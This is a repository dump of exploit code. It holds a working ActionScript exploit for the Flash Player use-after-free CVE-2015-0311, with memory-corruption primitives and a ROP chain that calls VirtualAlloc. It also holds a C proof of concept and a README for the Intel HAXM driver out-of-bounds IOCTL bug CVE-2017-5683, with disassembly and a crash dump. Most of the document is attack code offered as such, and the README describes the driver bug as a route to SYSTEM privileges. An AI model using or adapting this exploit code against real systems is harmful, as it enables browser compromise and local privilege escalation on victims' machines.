 8 |       <name>CONFIG::debug</name>
 9 |       <value>true</value>
10 |     </define>
11 |     <define append="true">
12 |       <name>CONFIG::release</name>
13 |       <value>false</value>
14 |     </define>
15 |     <define append="true">
16 |       <name>CONFIG::timeStamp</name>
17 |       <value>'12/25/2019'</value>
18 |     </define>
19 |     <define append="true">
20 |       <name>CONFIG::air</name>
21 |       <value>false</value>
22 |     </define>
23 |     <define append="true">
24 |       <name>CONFIG::mobile</name>
25 |       <value>false</value>
26 |     </define>
27 |     <define append="true">
28 |       <name>CONFIG::desktop</name>
29 |       <value>false</value>
30 |     </define>
31 |     <verbose-stacktraces>true</verbose-stacktraces>
32 |     <source-path append="true">
33 |       <path-element>D:\hacking\MovEdiEdi\2015\CVE2015-0311\Exploit_2015_0311\src</path-element>
34 |       <path-element>C:\Program Files (x86)\FlashDevelop\Library\AS3\classes</path-element>
35 |     </source-path>
36 |   </compiler>
37 |   <file-specs>
38 |     <path-element>D:\hacking\MovEdiEdi\2015\CVE2015-0311\Exploit_2015_0311\src\Main.as</path-element>
39 |   </file-specs>
40 |   <default-background-color>#FFFFFF</default-background-color>
41 |   <default-frame-rate>30</default-frame-rate>
42 |   <default-size>
43 |     <width>800</width>
44 |     <height>600</height>
45 |   </default-size>
46 | </flex-config>


--------------------------------------------------------------------------------
/Exploit_2015_0311/obj/Exploit_2015_0311Config.xml:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="utf-8"?>
 2 | <!--This Adobe Flex compiler configuration file was generated by a tool.-->
 3 | <!--Any modifications you make may be lost.-->
 4 | <flex-config>
 5 |   <target-player>25.0</target-player>
 6 |   <compiler>
 7 |     <define append="true">
 8 |       <name>CONFIG::debug</name>
 9 |       <value>true</value>
10 |     </define>
11 |     <define append="true">
12 |       <name>CONFIG::release</name>
13 |       <value>false</value>
14 |     </define>
15 |     <define append="true">
16 |       <name>CONFIG::timeStamp</name>
17 |       <value>'12/25/2019'</value>
18 |     </define>
19 |     <define append="true">
20 |       <name>CONFIG::air</name>
21 |       <value>false</value>
22 |     </define>
23 |     <define append="true">
24 |       <name>CONFIG::mobile</name>
25 |       <value>false</value>
26 |     </define>
27 |     <define append="true">
28 |       <name>CONFIG::desktop</name>
29 |       <value>false</value>
30 |     </define>
31 |     <verbose-stacktraces>true</verbose-stacktraces>
32 |     <source-path append="true">
33 |       <path-element>D:\hacking\MovEdiEdi\2015\CVE2015-0311\Exploit_2015_0311\src</path-element>
34 |       <path-element>C:\Program Files (x86)\FlashDevelop\Library\AS3\classes</path-element>
35 |     </source-path>
36 |   </compiler>
37 |   <file-specs>
38 |     <path-element>D:\hacking\MovEdiEdi\2015\CVE2015-0311\Exploit_2015_0311\src\Main.as</path-element>
39 |   </file-specs>
40 |   <default-background-color>#FFFFFF</default-background-color>
41 |   <default-frame-rate>30</default-frame-rate>
42 |   <default-size>
43 |     <width>800</width>
44 |     <height>600</height>
45 |   </default-size>
46 | </flex-config>


--------------------------------------------------------------------------------
/Exploit_2015_0311/obj/Exploit_2015_0311Config.xml.old:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="utf-8"?>
 2 | <!--This Adobe Flex compiler configuration file was generated by a tool.-->
 3 | <!--Any modifications you make may be lost.-->
 4 | <flex-config>
 5 |   <target-player>25.0</target-player>
 6 |   <compiler>
 7 |     <define append="true">
 8 |       <name>CONFIG::debug</name>
 9 |       <value>true</value>
10 |     </define>
11 |     <define append="true">
12 |       <name>CONFIG::release</name>
13 |       <value>false</value>
14 |     </define>
15 |     <define append="true">
16 |       <name>CONFIG::timeStamp</name>
17 |       <value>'12/22/2019'</value>
18 |     </define>
19 |     <define append="true">
20 |       <name>CONFIG::air</name>
21 |       <value>false</value>
22 |     </define>
23 |     <define append="true">
24 |       <name>CONFIG::mobile</name>
25 |       <value>false</value>
26 |     </define>
27 |     <define append="true">
28 |       <name>CONFIG::desktop</name>
29 |       <value>false</value>
30 |     </define>
31 |     <verbose-stacktraces>true</verbose-stacktraces>
32 |     <source-path append="true">
33 |       <path-element>D:\hacking\MovEdiEdi\2015\CVE2015-0311\Exploit_2015_0311\src</path-element>
34 |       <path-element>C:\Program Files (x86)\FlashDevelop\Library\AS3\classes</path-element>
35 |     </source-path>
36 |   </compiler>
37 |   <file-specs>
38 |     <path-element>D:\hacking\MovEdiEdi\2015\CVE2015-0311\Exploit_2015_0311\src\Main.as</path-element>
39 |   </file-specs>
40 |   <default-background-color>#FFFFFF</default-background-color>
41 |   <default-frame-rate>30</default-frame-rate>
42 |   <default-size>
43 |     <width>800</width>
44 |     <height>600</height>
45 |   </default-size>
46 | </flex-config>


--------------------------------------------------------------------------------
/Exploit_2015_0311/src/Main.as:
--------------------------------------------------------------------------------
  1 | package
  2 | {
  3 | 	import flash.display.Sprite;
  4 | 	import flash.events.Event;
  5 | 	import flash.sampler.NewObjectSample;
  6 | 	import flash.utils.ByteArray;
  7 | 	import flash.utils.Endian;
  8 | 	import flash.system.ApplicationDomain;
  9 | 	import avm2.intrinsics.memory.*;
 10 | 	import flash.external.ExternalInterface;
 11 | 	import flash.debugger.enterDebugger;
 12 | 	
 13 | 	/**
 14 | 	 * ...
 15 | 	 * @author n3k
 16 | 	 */
 17 | 	 
 18 | 	public class Main extends Sprite 
 19 | 	{
 20 | 		const NumberTAG: Number = 7;
 21 | 		
 22 | 		public var ba:ByteArray; 		
 23 | 		public var ev: Vector.<Object>;
 24 | 		public var ev_address: uint;
 25 | 		public var vec_array:Vector.<Object>;
 26 | 		public var flash_module_base:uint;
 27 | 		
 28 | 		public static function getCookie(key:String):*
 29 | 		{
 30 | 			return ExternalInterface.call("getCookie", key);
 31 | 		}
 32 | 
 33 | 		public static function setCookie(key:String, val:*):void
 34 | 		{
 35 | 			ExternalInterface.call("setCookie", key, val);
 36 | 		}
 37 | 		
 38 | 		public function Main() 
 39 | 		{
 40 | 			if (stage) init();
 41 | 			else addEventListener(Event.ADDED_TO_STAGE, init);			
 42 | 			exploit();
 43 | 		}
 44 | 		
 45 | 		private function init(e:Event = null):void 
 46 | 		{
 47 | 			removeEventListener(Event.ADDED_TO_STAGE, init);
 48 | 			// entry point
 49 | 		}
 50 | 		
 51 | 		private function read_primitive(addr: uint): uint {
 52 | 			
 53 | 			var fake_number_object:uint = addr | NumberTAG;
 54 | 			si32(fake_number_object, 0x2C); // Store as IEEE 754 Double into Vec[1]
 55 | 			
 56 | 			var n: Number = new Number(this.ev[1]);
 57 | 		
 58 | 			var b:ByteArray = new ByteArray();
 59 |             b.endian = Endian.LITTLE_ENDIAN;
 60 |             b.writeDouble(n);
 61 | 			
 62 | 			var res: uint = 0;
 63 | 			if (addr & 4) {
 64 | 				res = b[7] * 0x1000000 + b[6] * 0x10000 + b[5] * 0x100 + b[4];
 65 | 			} else {				
 66 | 				res = b[3]*0x1000000 + b[2]*0x10000 + b[1]*0x100 + b[0];
 67 | 			}
 68 | 			
 69 |             return res;
 70 | 		}
 71 | 				
 72 | 		private function prepare_shellcode(payload: ByteArray): void {
 73 | 			payload.endian = Endian.LITTLE_ENDIAN;
 74 | 			
 75 | 			/* u Flash32_16_0_0_287+0x7d9f  --> Stack Pivot to the Heap
 76 | 			63177d9f 52              push    edx
 77 | 			63177da0 5c              pop     esp
 78 | 			63177da1 8b4608          mov     eax,dword ptr [esi+8]
 79 | 			63177da4 5e              pop     esi
 80 | 			63177da5 c3              ret
 81 | 			*/
 82 | 			payload.writeUnsignedInt(flash_module_base + 0x7d9f); // # PUSH EDX # POP ESP # MOV EAX,DWORD PTR DS:[ESI+8] # POP ESI # RETN 
 83 | 			payload.writeUnsignedInt(flash_module_base + 0x2ad0f3); // POP EAX # RETN
 84 | 			payload.writeUnsignedInt(flash_module_base + 0xb965a4); // # ptr to &VirtualAlloc() # IAT Flash OCX
 85 | 			payload.writeUnsignedInt(flash_module_base + 0x32be0); 
 86 | 
 87 | 			/*
 88 | 			 * Flash32_16_0_0_287+0x32be0:
 89 | 			62542be0 8b10            mov     edx,dword ptr [eax]
 90 | 			62542be2 8b4c2408        mov     ecx,dword ptr [esp+8]
 91 | 			62542be6 3b11            cmp     edx,dword ptr [ecx]
 92 | 			62542be8 7c02            jl      Flash32_16_0_0_287+0x32bec (62542bec)
 93 | 			62542bea 8bc1            mov     eax,ecx
 94 | 			62542bec c3              ret
 95 | 
 96 | 			*/
 97 | 			payload.writeUnsignedInt(flash_module_base + 0x2aa773); // PUSH EDX # ADD EAX,58046A00 # POP ESI # RETN 
 98 | 			payload.writeUnsignedInt(flash_module_base + 0x50c900); // POP EBP # RETN
 99 | 			payload.writeUnsignedInt(flash_module_base + 0x1e100d); // & jmp esp
100 | 			payload.writeUnsignedInt(flash_module_base + 0x2a24da); // POP EBX # RETN
101 | 			payload.writeUnsignedInt(0x00000001); // 0x00000001-> ebx
102 | 			payload.writeUnsignedInt(flash_module_base + 0x8206fe); // POP EDX # RETN
103 | 			payload.writeUnsignedInt(0x00001000); 
104 | 			payload.writeUnsignedInt(flash_module_base + 0x1175); // POP ECX # RETN
105 | 			payload.writeUnsignedInt(0x00000040); // 0x00000040-> ecx
106 | 			payload.writeUnsignedInt(flash_module_base + 0x77dc5a); // POP EDI # RETN
107 | 			payload.writeUnsignedInt(flash_module_base + 0xf0005); // RETN (ROP NOP)
108 | 			payload.writeUnsignedInt(flash_module_base + 0x2ad0f3); // POP EAX # RETN
109 | 			payload.writeUnsignedInt(0x90909090); // NOP
110 | 			payload.writeUnsignedInt(flash_module_base + 0xfd144); // PUSHAD # RETN
111 | 			payload.writeByte(0x90);
112 | 			payload.writeByte(0x90);
113 | 			payload.writeByte(0x90);
114 | 			payload.writeByte(0x90);
115 | 			payload.writeByte(0x90);
116 | 			payload.writeByte(0x90);
117 | 			payload.writeByte(0x90);
118 | 			payload.writeByte(0x90);
119 | 			payload.writeByte(0x90);
120 | 			payload.writeByte(0x90);
121 | 			payload.writeByte(0x90);
122 | 			payload.writeByte(0x90);
123 | 			payload.writeByte(0xCC);
124 | 			payload.writeByte(0xCC);
125 | 			payload.writeByte(0xCC);
126 | 			payload.writeByte(0xCC);
127 | 		}
128 | 		
129 | 		public function exploit(): void {
130 | 			
131 | 			for (var i:uint = 0; i < 10000; i++) new Vector.<uint>(0x3e0);
132 | 			
133 | 			this.ba = new ByteArray();
134 | 			this.ba.endian = Endian.LITTLE_ENDIAN;
135 | 			this.ba.position = 0;
136 | 			
137 | 			/* Initialize the ByteArray with some data */
138 | 			var count:uint = 0;
139 | 			while (count < 0x2000 / 4){
140 | 				this.ba.writeUnsignedInt(0xfeedface + count);
141 | 				count++;
142 | 			}
143 | 
144 |             /* Compress it with zlib */
145 |             this.ba.compress();			
146 | 			
147 |             /* Overwrite the compressed data with junk, starting at offset 0x200 */
148 |             this.ba.position = 0x200;
149 | 			var pos: uint = 0;
150 | 			// ExternalInterface.call("alert", this.byte_array.bytesAvailable);
151 |             while (pos < this.ba.bytesAvailable){				
152 |                 this.ba.writeByte(pos);
153 |                 pos++;
154 |             }
155 | 			
156 |             /* Create a subscriber for that ByteArray */
157 | 			// https://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/system/ApplicationDomain.html
158 |             ApplicationDomain.currentDomain.domainMemory = this.ba;
159 | 
160 |             /* Trigger the bug! ByteArray::UncompressViaZlibVariant will leave ApplicationDomain.currentDomain.domainMemory
161 |             pointing to a buffer that is freed when the decompression fails. */
162 | 			
163 |             try{
164 |                 this.ba.uncompress();
165 |             } catch(error:Error){
166 |             }
167 | 			
168 | 			// ba e 1 flashbase+0x68e8cd ".printf \"Addr: %08x \\n\", eax; g"
169 | 			
170 | 			this.ev = new Vector.<Object>(0x3e0);
171 | 	
172 | 			var vecsize:uint = li32(0x24);
173 | 			//ExternalInterface.call("alert",vecsize.toString(16));
174 |             if (vecsize == 0x3e0) {
175 |                 //si32(0xffffffff, 0x24) // corrupted
176 | 				//ExternalInterface.call("alert","vector size changed!");
177 |             } else {
178 | 				ExternalInterface.call("document.location.reload", true);
179 |                 return // something failed
180 |             }
181 | 			
182 | 			this.ev_address = li32(0x14) - 0x18; // Data Starts at 0x28
183 | 			var vector_vtable:uint = li32(0x20);
184 | 			var flash_16_0_0_287_base_address: uint = vector_vtable - 0x00cf9418;
185 | 			this.flash_module_base = flash_16_0_0_287_base_address;
186 | 			
187 | 			ExternalInterface.call("alert", this.ev_address.toString(16));
188 | 			
189 | 			var payload_ba: ByteArray = new ByteArray();			
190 | 			prepare_shellcode(payload_ba);	
191 | 			this.ev[0] = payload_ba;
192 | 				
193 | 			var payload_ba_address:uint = li32(0x28) & 0xFFFFFFF8; // Read Vec[0] content and clear the tag 
194 | 			//ExternalInterface.call("alert", payload_address.toString(16));
195 | 			
196 | 			var arraybuff_address: uint = read_primitive(payload_ba_address + 0x44); // ArrayBuffer addr at +44h
197 | 			//ExternalInterface.call("alert", arraybuff_address.toString(16));
198 | 			var buffer_address: uint = read_primitive(arraybuff_address + 0x08); // Buffer addr at +08h
199 | 			//ExternalInterface.call("alert", buffer_address.toString(16));
200 | 			
201 | 			/*
202 | 			0:005> dd 151cf000  // Corrupted Vector<object>
203 | 			151cf000  00010c00 00000fe0 13eff000 13dd7e18
204 | 			151cf010  1512e000 151cf018 00000010 00000000
205 | 			151cf020  656e9418 000003e0 1512f0a1 1512f0ff our elements start at 0x28
206 | 			151cf030  1512f1c1 151a45d9 00000001 00000001
207 | 			151cf040  00000001 00000001 00000001 00000001
208 | 			151cf050  00000001 00000001 00000001 00000001
209 | 			151cf060  00000001 00000001 00000001 00000001
210 | 			151cf070  00000001 00000001 00000001 00000001
211 | 			 * */
212 | 		
213 | 			
214 | 			// Let's create a new byteArray and change its pointer to point back into the Vector
215 | 			// Then craft the needed metadata using si32
216 | 			var fba: ByteArray = new ByteArray();
217 | 			fba.endian = Endian.LITTLE_ENDIAN;
218 | 			count = 0;
219 | 			while (count < 0x100) {
220 | 				fba.writeUnsignedInt(0xF0F0F0F0); // Tag
221 | 				count++;
222 | 			}
223 | 			this.ev[2] = fba;
224 | 			//fba.position = 0;
225 | 			//ExternalInterface.call("alert", fba.readUnsignedInt());
226 | 			
227 | 			/* The ByteArray Structure is 0x60 bytes
228 | 			 * 
229 | 			 0480e400  64429f70 00000002 07ca3dd0 0475c748
230 | 			 0480e410  0480e41c 00000040 00000000 64429f18
231 | 			 0480e420  6447353c 64429f14 64429f24 07fad080
232 | 			 0480e430  0789d000 07e060d0 00000000 000000c0
233 | 			 0480e440  64448084 07975608 00000000 00000000
234 | 			 0480e450  64429f0c 00000003 00000001 00000000
235 | 			 * 
236 | 			 * The Array Buffer is 0x18 bytes
237 | 			 * 
238 | 			 * ArrayBuffer
239 | 			 07975608  6442945c 00000001 07c76000 00001000
240 | 			 07975618  000000c0 00000000
241 | 			 * 
242 | 			*/
243 | 			
244 | 			var aux_vec: Vector.<uint> = new Vector.<uint>(0x100);
245 | 			count = 0;
246 | 			while (count < 0x60) { // Read the ByteArray Structure
247 | 				aux_vec[count >> 2] = read_primitive(payload_ba_address + count); 
248 | 				count += 4;
249 | 			}
250 | 			this.ev[3] = aux_vec;
251 | 			
252 | 			/* Layout of the Vector<uint> aux_vec
253 | 			 *
254 |  0:005> dd 151a45d8 Vector<uint> Object
255 | 151a45d8  656fa060 00000002 14c1c1f0 14c0b580
256 | 151a45e8  14c1e150 00000000 00000001 14c5fab0 --> this one holds the VecBuff
257 | 151a45f8  00000000 00000000
258 | 
259 | 
260 | 0:005> dd 14c5fab0 // VecBuff UINT
261 | 			Size  | Separator | Elements[]<uint>
262 | 14c5fab0  00000100 13eff000 656e9f70 00000002
263 | 14c5fac0  13f15dd0 14c28748 1512f0bc 00000040
264 | 14c5fad0  00000000 656e9f18 6573353c 656e9f14
265 | 14c5fae0  656e9f24 14038080 13eff000 13dd2f10
266 | 14c5faf0  00000000 000000c0 65708084 13ef2dd0
267 | 14c5fb00  00000000 00000000 656e9f0c 00000003
268 | 14c5fb10  00000001 00000000 00000000 00000000
269 | 14c5fb20  00000000 00000000 00000000 00000000
270 | 			 * 
271 | 			 * */
272 | 			
273 | 			
274 | 			// Write into Vector ev
275 | 			count = 0;
276 | 			while(count < 0x60) {
277 | 				si32(aux_vec[count >> 2] , 0x38 + count);
278 | 				count += 4;
279 | 			}
280 | 			
281 | 			count = 0;
282 | 			while (count < 0x18) { // Read Array Buffer
283 | 				aux_vec[count >> 2] = read_primitive(arraybuff_address + count); 
284 | 				count += 4;
285 | 			}
286 | 			
287 | 			count = 0;
288 | 			while(count < 0x18) {
289 | 				si32(aux_vec[count >> 2] , 0x38 + 0x60 + count);
290 | 				count += 4;
291 | 			}
292 | 			
293 | 			// Change the ArrayBuffer ptr of the faked ByteArray to point into the faked ArrayBuffer
294 | 			si32(this.ev_address + 0x38 + 0x60, 0x38 + 0x44);
295 | 			// Change the Buffer ptr of the faked ArrayBuffer to point into the Vector
296 | 			si32(arraybuff_address, 0x38 + 0x60 + 0x08);
297 | 			// Finally change the ByteArray Object Ptr of the Vector to point into the the Faked ByteArray
298 | 			var restore_ba: uint = li32(0x30); // to restore later
299 | 			
300 | 			//this.ev[2].position = 0; // vtable of payload_ba
301 | 			//ExternalInterface.call("alert", this.ev[2].readUnsignedInt().toString(16));
302 | 			
303 | 			si32((this.ev_address + 0x38) | 1 /*Tag the Object*/, 0x30); 
304 | 			
305 | 			this.ev[2].position = 0; // vtable of payload_ba
306 | 			this.ev[2].writeUnsignedInt(buffer_address);
307 | 			
308 | 			//this.ev[2].position = 0;
309 | 			//ExternalInterface.call("alert", this.ev[2].readUnsignedInt().toString(16));
310 | 			
311 | 			ExternalInterface.call("alert", "z");
312 | 			
313 | 			//payload_ba.readUnsignedInt.toString();
314 | 			//payload_ba.clear();
315 | 			
316 | 			//ExternalInterface.call("alert", this.ev[0].toString());			
317 | 			ExternalInterface.call("document.location.reload", true);
318 | 			si32(restore_ba , 0x30); // Restore original ptr
319 | 		}
320 | 		
321 | 	}
322 | 	
323 | }


--------------------------------------------------------------------------------
/Intel_Hardware_Accelerated_Execution_Manager_OOB_ReadWrite/PoC.c:
--------------------------------------------------------------------------------
  1 | #include "stdafx.h"
  2 | #include <Windows.h>
  3 | 
  4 | #define HAX_CREATE_VM 0x40002404
  5 | #define HAX_VM_CREATE_VCPU 0x40002408
  6 | 
  7 | void error(char *msg) {
  8 | 	fprintf(stderr, "Error: %s\n", msg);
  9 | 	exit(-1);
 10 | }
 11 | 
 12 | DWORD Create_HAX_VM(void)
 13 | {
 14 | 	HANDLE hDevice = CreateFileA(
 15 | 		"\\\\.\\HAX\\",
 16 | 		GENERIC_READ | GENERIC_WRITE,
 17 | 		0,
 18 | 		NULL,
 19 | 		OPEN_EXISTING,
 20 | 		0,
 21 | 		NULL);
 22 | 
 23 | 	if (hDevice == NULL) {
 24 | 		error("Could not open HAX device");
 25 | 	}
 26 | 
 27 | 	DWORD vmid = 0;
 28 | 	DWORD bytesReturned = 0;
 29 | 
 30 | 	if (NULL == DeviceIoControl(hDevice, HAX_CREATE_VM, 0, 0, &vmid, sizeof(DWORD), &bytesReturned, NULL)) {
 31 | 		error("Problem during DeviceIOControl HAX_CREATE_VM");
 32 | 	}
 33 | 
 34 | 	CloseHandle(hDevice);
 35 | 
 36 | 	return vmid;
 37 | }
 38 | 
 39 | void create_vcpu_for_vm(char *hax_vm_device, unsigned int vcpu_id) {
 40 | 	char device_name[256] = { 0 };
 41 | 	sprintf(device_name, "\\\\.\\%s\\", hax_vm_device);
 42 | 	HANDLE hDevice = CreateFileA(
 43 | 		device_name,
 44 | 		GENERIC_READ | GENERIC_WRITE,
 45 | 		0,
 46 | 		NULL,
 47 | 		OPEN_EXISTING,
 48 | 		0,
 49 | 		NULL
 50 | 	);
 51 | 
 52 | 	if (hDevice == NULL) {
 53 | 		error("Could not open the specified hax_vm");
 54 | 	}
 55 | 
 56 | 	DWORD bytesReturned = 0;
 57 | 	DWORD param = vcpu_id;
 58 | 	if (NULL == DeviceIoControl(hDevice, HAX_VM_CREATE_VCPU, &param, 4, 0, 0, &bytesReturned, NULL)) {
 59 | 		error("Problem during DeviceIOControl HAX_VM_CREATE_VCPU");
 60 | 	}
 61 | 
 62 | 	CloseHandle(hDevice);
 63 | }
 64 | 
 65 | void test_bug_hax_vm_vcpu(char *deviceName) {
 66 | 	char device_name[256] = { 0 };
 67 | 	sprintf(device_name, "\\\\.\\%s\\", deviceName);
 68 | 	HANDLE hDevice = CreateFileA(
 69 | 		device_name,
 70 | 		GENERIC_READ | GENERIC_WRITE,
 71 | 		0,
 72 | 		NULL,
 73 | 		OPEN_EXISTING,
 74 | 		0,
 75 | 		NULL
 76 | 	);
 77 | 
 78 | 	if (hDevice == NULL) {
 79 | 		error("Could not open the specified hax_vm_vcpu");
 80 | 	}
 81 | 
 82 | 	DWORD bytesReturned = 0;
 83 | 	DWORD param = 0xFFFFFFFF;
 84 | 	if (NULL == DeviceIoControl(hDevice, 0x40002430, &param, 4, 0, 0, &bytesReturned, NULL)) {
 85 | 		error("Problem during DeviceIOControl Bug");
 86 | 	}
 87 | 
 88 | 	CloseHandle(hDevice);
 89 | }
 90 | 
 91 | int main()
 92 | {
 93 | 
 94 | 	DWORD vmid = Create_HAX_VM();
 95 | 
 96 | 	char hax_vm_devicename[256] = { 0 };
 97 | 	sprintf(hax_vm_devicename, "hax_vm%02x", vmid);
 98 | 	printf("Target VM Name: %s\n", hax_vm_devicename);
 99 | 
100 | 	create_vcpu_for_vm(hax_vm_devicename, 7);
101 | 
102 | 	char hax_vm_vcpu_devicename[256] = { 0 };
103 | 	sprintf(hax_vm_vcpu_devicename, "hax_vm%02x_vcpu%02x", vmid, 7);
104 | 	printf("Target VM VCPU Name: %s\n", hax_vm_vcpu_devicename);
105 | 
106 | 	test_bug_hax_vm_vcpu(hax_vm_vcpu_devicename);
107 | 	return 0;
108 | }


--------------------------------------------------------------------------------
/Intel_Hardware_Accelerated_Execution_Manager_OOB_ReadWrite/README.md:
--------------------------------------------------------------------------------
  1 | # CVE-2017-5683 - Intel Hardware Accelerated Execution Manager (IntelHaxm.sys) out of bounds read-write IOCTL
  2 | 
  3 | * Affected driver: IntelHaxm.sys <= 6.0.1.0
  4 | 
  5 | Update: https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00072&languageid=en-fr
  6 |  
  7 | +] Summary: There is an out of bounds array write condition in IntelHaxm.sys which could allow attackers to get SYSTEM privileges in the affected machine.
  8 | 
  9 | +] Description: Intel Hardware Accelerated Execution Manager (Intel HAXM) is a hardware-assisted virtualization engine (hypervisor) that uses Intel Virtualization Technology (Intel VT) to speed up Android* app emulation on a host machine. In combination with Android x86 emulator images provided by Intel and the official Android SDK Manager, Intel HAXM allows for faster Android emulation on Intel VT enabled systems.
 10 | More into at: https://software.intel.com/en-us/android/articles/intel-hardware-accelerated-execution-manager
 11 | 
 12 | This driver is deployed as part of AndroidStudio (https://developer.android.com/studio/index.html?hl=en). It can also be installed manually.
 13 | 
 14 | +] Technical Description: 
 15 | 
 16 | The bug could be triggered by issuing the IOCTL 0x40002430 to a hax_vmXX_vcpuXX device. Such device can be created through other IOCTLs that the same driver expose.
 17 | 
 18 | 
 19 | 
 20 | * Disassembly of the vuln code:
 21 | 
 22 | ```
 23 | IntelHaxm+0xa26c:
 24 | fffff80d`370ea26c 4883ec28        sub     rsp,28h
 25 | fffff80d`370ea270 4c8bc1          mov     r8,rcx
 26 | fffff80d`370ea273 8bc2            mov     eax,edx  --> EDX Controlled
 27 | fffff80d`370ea275 8bca            mov     ecx,edx
 28 | fffff80d`370ea277 c1e805          shr     eax,5
 29 | fffff80d`370ea27a 83e11f          and     ecx,1Fh
 30 | fffff80d`370ea27d 41b901000000    mov     r9d,1
 31 | fffff80d`370ea283 448bd0          mov     r10d,eax
 32 | fffff80d`370ea286 418b848030030000 mov     eax,dword ptr [r8+rax*4+330h] --> Out of Bounds read
 33 | fffff80d`370ea28e 41d3e1          shl     r9d,cl
 34 | fffff80d`370ea291 4185c1          test    r9d,eax
 35 | fffff80d`370ea294 740e            je      IntelHaxm+0xa2a4 (fffff80d`370ea2a4)   --------|
 36 | fffff80d`370ea296 488d0db35f0000  lea     rcx,[IntelHaxm+0x10250 (fffff80d`370f0250)]    |
 37 | fffff80d`370ea29d e83285ffff      call    IntelHaxm+0x27d4 (fffff80d`370e27d4)			 |
 38 | fffff80d`370ea2a2 eb12            jmp     IntelHaxm+0xa2b6 (fffff80d`370ea2b6)			 |
 39 | fffff80d`370ea2a4 410bc1          or      eax,r9d     <----------------------------------|
 40 | fffff80d`370ea2a7 4389849030030000 mov     dword ptr [r8+r10*4+330h],eax  --> out of bounds Write
 41 | fffff80d`370ea2af 41ff8050030000  inc     dword ptr [r8+350h]
 42 | fffff80d`370ea2b6 4883c428        add     rsp,28h
 43 | fffff80d`370ea2ba c3              ret
 44 | ```
 45 | 
 46 | * Crashdump:
 47 | 
 48 | ```
 49 | nt!DbgBreakPointWithStatus:
 50 | fffff801`a19c9d90 cc              int     3
 51 | 1: kd> !analyze -v
 52 | *******************************************************************************
 53 | *                                                                             *
 54 | *                        Bugcheck Analysis                                    *
 55 | *                                                                             *
 56 | *******************************************************************************
 57 | 
 58 | PAGE_FAULT_IN_NONPAGED_AREA (50)
 59 | Invalid system memory was referenced.  This cannot be protected by try-except.
 60 | Typically the address is just plain bad or it is pointing at freed memory.
 61 | Arguments:
 62 | Arg1: ffffbd0071812a9c, memory referenced.
 63 | Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.
 64 | Arg3: fffff80d370ea286, If non-zero, the instruction address which referenced the bad memory
 65 |         address.
 66 | Arg4: 0000000000000002, (reserved)
 67 | 
 68 | Debugging Details:
 69 | ------------------
 70 | 
 71 | 
 72 | DUMP_CLASS: 1
 73 | 
 74 | DUMP_QUALIFIER: 0
 75 | 
 76 | BUILD_VERSION_STRING:  14393.321.amd64fre.rs1_release_inmarket.161004-2338
 77 | 
 78 | DUMP_TYPE:  0
 79 | 
 80 | BUGCHECK_P1: ffffbd0071812a9c
 81 | 
 82 | BUGCHECK_P2: 0
 83 | 
 84 | BUGCHECK_P3: fffff80d370ea286
 85 | 
 86 | BUGCHECK_P4: 2
 87 | 
 88 | READ_ADDRESS:  ffffbd0071812a9c
 89 | 
 90 | FAULTING_IP:
 91 | IntelHaxm+a286
 92 | fffff80d`370ea286 418b848030030000 mov     eax,dword ptr [r8+rax*4+330h]
 93 | 
 94 | MM_INTERNAL_CODE:  2
 95 | 
 96 | DEBUG_FLR_IMAGE_TIMESTAMP:  0
 97 | 
 98 | FAULTING_MODULE: fffff80d370e0000 IntelHaxm
 99 | 
100 | CPU_COUNT: 4
101 | 
102 | CPU_MHZ: a20
103 | 
104 | CPU_VENDOR:  GenuineIntel
105 | 
106 | CPU_FAMILY: 6
107 | 
108 | CPU_MODEL: 5e
109 | 
110 | CPU_STEPPING: 3
111 | 
112 | CPU_MICROCODE: 6,5e,3,0 (F,M,S,R)  SIG: 33'00000000 (cache) 33'00000000 (init)
113 | 
114 | DEFAULT_BUCKET_ID:  CODE_CORRUPTION
115 | 
116 | BUGCHECK_STR:  AV
117 | 
118 | PROCESS_NAME:  TestDrivers.ex
119 | 
120 | CURRENT_IRQL:  0
121 | 
122 | ANALYSIS_SESSION_HOST:  XXXX-MACHINE1
123 | 
124 | ANALYSIS_SESSION_TIME:  10-14-2016 16:09:41.0074
125 | 
126 | ANALYSIS_VERSION: 10.0.10586.567 x86fre
127 | 
128 | TRAP_FRAME:  ffffa701a927e5a0 -- (.trap 0xffffa701a927e5a0)
129 | NOTE: The trap frame does not contain all registers.
130 | Some register values may be zeroed or incorrect.
131 | rax=0000000007ffffff rbx=0000000000000000 rcx=000000000000001f
132 | rdx=00000000ffffffff rsi=0000000000000000 rdi=0000000000000000
133 | rip=fffff80d370ea286 rsp=ffffa701a927e730 rbp=ffffbd0051812770
134 |  r8=ffffbd0051812770  r9=0000000000000001 r10=0000000007ffffff
135 | r11=7ffffffffffffffc r12=0000000000000000 r13=0000000000000000
136 | r14=0000000000000000 r15=0000000000000000
137 | iopl=0         nv up ei pl nz na pe nc
138 | IntelHaxm+0xa286:
139 | fffff80d`370ea286 418b848030030000 mov     eax,dword ptr [r8+rax*4+330h] ds:ffffbd00`71812a9c=????????
140 | Resetting default scope
141 | 
142 | LAST_CONTROL_TRANSFER:  from fffff801a1a4d9c6 to fffff801a19c9d90
143 | 
144 | STACK_TEXT:
145 | ffffa701`a927daf8 fffff801`a1a4d9c6 : ffffbd00`71812a9c 00000000`00000050 ffffa701`a927dc60 fffff801`a194729c : nt!DbgBreakPointWithStatus
146 | ffffa701`a927db00 fffff801`a1a4d3b5 : 00000000`00000003 ffffa701`a927dc60 fffff801`a19d1690 ffffa701`a927e1b0 : nt!KiBugCheckDebugBreak+0x12
147 | ffffa701`a927db60 fffff801`a19c43c4 : 00000000`00000000 fffff801`a19c5d94 00000000`00000000 00000000`00000000 : nt!KeBugCheck2+0x8a5
148 | ffffa701`a927e270 fffff801`a19f96da : 00000000`00000050 ffffbd00`71812a9c 00000000`00000000 ffffa701`a927e5a0 : nt!KeBugCheckEx+0x104
149 | ffffa701`a927e2b0 fffff801`a18eb00a : 00000000`00000000 00000000`00000000 ffffa701`a927e5a0 fffff801`a19cf502 : nt! ?? ::FNODOBFM::`string'+0x2624a
150 | ffffa701`a927e3a0 fffff801`a19cd8fc : 00000000`00000010 00000000`00000246 ffffa701`a927e5c0 fffff801`a19cc6a1 : nt!MmAccessFault+0x9ca
151 | ffffa701`a927e5a0 fffff80d`370ea286 : 00000000`00000010 00000000`00000344 ffffa701`a927e758 00000000`00000018 : nt!KiPageFault+0x13c
